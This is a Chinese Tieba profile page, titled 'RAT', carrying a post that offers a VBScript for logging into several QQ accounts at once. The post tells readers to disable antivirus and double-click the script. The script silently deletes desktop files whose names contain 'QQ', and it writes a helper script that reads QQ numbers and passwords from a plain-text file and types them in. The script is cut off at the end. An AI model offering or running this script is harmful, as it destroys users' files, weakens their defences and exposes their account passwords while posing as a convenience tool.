※帅气冲天狂※的个人资料 - RAT

※帅气冲天狂※ ※帅气冲天狂※

关注数: 6 粉丝数: 1 发帖数: 35 关注贴吧数: 0

同时自动登录多个QQ号码同时自动登录多个QQ号码用记事本把下面的代码保存为星星QQ.vbs 脚本文件后，双击实现自动安装！实现多QQ登录！超快的哦~。说明你装完时候就知了。说明有杀毒软件请关闭它，否则可能不能安装。【同时登录多个QQ号码】-〖星星QQ.vbs〗代码如下:=================================================on error resume nextdim DesktopPathdim pathset WshShell = WScript.CreateObject("WScript.Shell")DesktopPath=WshShell.SpecialFolders("Desktop")Set FSO=CreateObject("Scripting.FileSystemObject")set f1=FSO.GetFolder(DesktopPath)set fd=f1.filesfor Each name in fd if instr(ucase(name.name),"QQ") or instr(name.name,"珊蝴") then '删除桌面上有关QQ的东东 Fso.deletefile(name) end ifnext'读取注册表信息path= WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\QQ2005\UninstallString")if path="" thenpath= WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\QQ2006\UninstallString")if path="" then'下一年就应该是QQ2007了吧!path= WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\QQ2007\UninstallString")end ifend ifif ""<>path then'得到QQ安装的根目录where=InStrRev(path, "\")path=Left(path, where)'在QQ根目录下创建星星QQ.vbsset vbsfile=fso.createtextfile(path & "\星星QQ.vbs")vbsfile.writeline"set WshShell = WScript.CreateObject(""WScript.Shell"")"vbsfile.writeline"Set FSO=CreateObject(""Scripting.FileSystemObject"")"vbsfile.writeline"on error resume next"vbsfile.writeline"if FSO.FileExists(""LoginList.ini"") then"vbsfile.writeline"Set vbsfile=FSO.OpenTextFile(""LoginList.ini"")"vbsfile.writeline"conts=vbsfile.readline"vbsfile.writeline"For i=1 to conts"vbsfile.writeline"if FSO.FileExists(""LoginUinList.dat"") then"vbsfile.writeline"fso.deletefile(""LoginUinList.dat"")"vbsfile.writeline"end if"vbsfile.writeline"WshShell.Run ""QQ.exe"""vbsfile.writeline"WScript.Sleep 1500" '设置等侍时间vbsfile.writeline"WshShell.Sendkeys vbsfile.readline" '发送QQ号码vbsfile.writeline"WshShell.Sendkeys""{TAB}""" '设置下密码框为焦点vbsfile.writeline"WshShell.Sendkeys vbsfile.readline"vbsfile.writeline"WshShell.Sendkeys""~""" '按回车键登录vbsfile.writeline"WScript.Sleep 100"vbsfile.writeline"WshShell.Sendkeys""~"""vbsfile.writeline"WScript.Sleep 100"vbsfile.writeline"WshShell.Sendkeys""~"""vbsfile.writeline"WScript.Sleep 100"vbsfile.writeline"WshShell.Sendkeys""~""" '以网吧模式登录vbsfile.writeline"WScript.Sleep 800" '休息一阵vbsfile.writeline"next"vbsfile.writeline"else"vbsfile.writeline"Msgbox""请在QQ根目录下建立列表文件(LoginList.ini)"",,""QQ登录"""vbsfile.writeline"end if"vbsfile.writeline"set WshShell=Nothing"vbsfile.writeline"set FSO=Nothing"vbsfile.close'在桌面上创建快捷方式Set URL = WshShell.CreateShortcut(DesktopPath & "\星星QQ.lnk")URL.TargetPath = path & "\星星QQ.vbs"URL.WorkingDirectory=pathURL.IconLocation =path & "\QQ.exe" '设置快捷方式的图标路径URL.Save'得到短路径Set f = fso.Getfolder(path)ShowShortName =f.ShortPath

1 下一页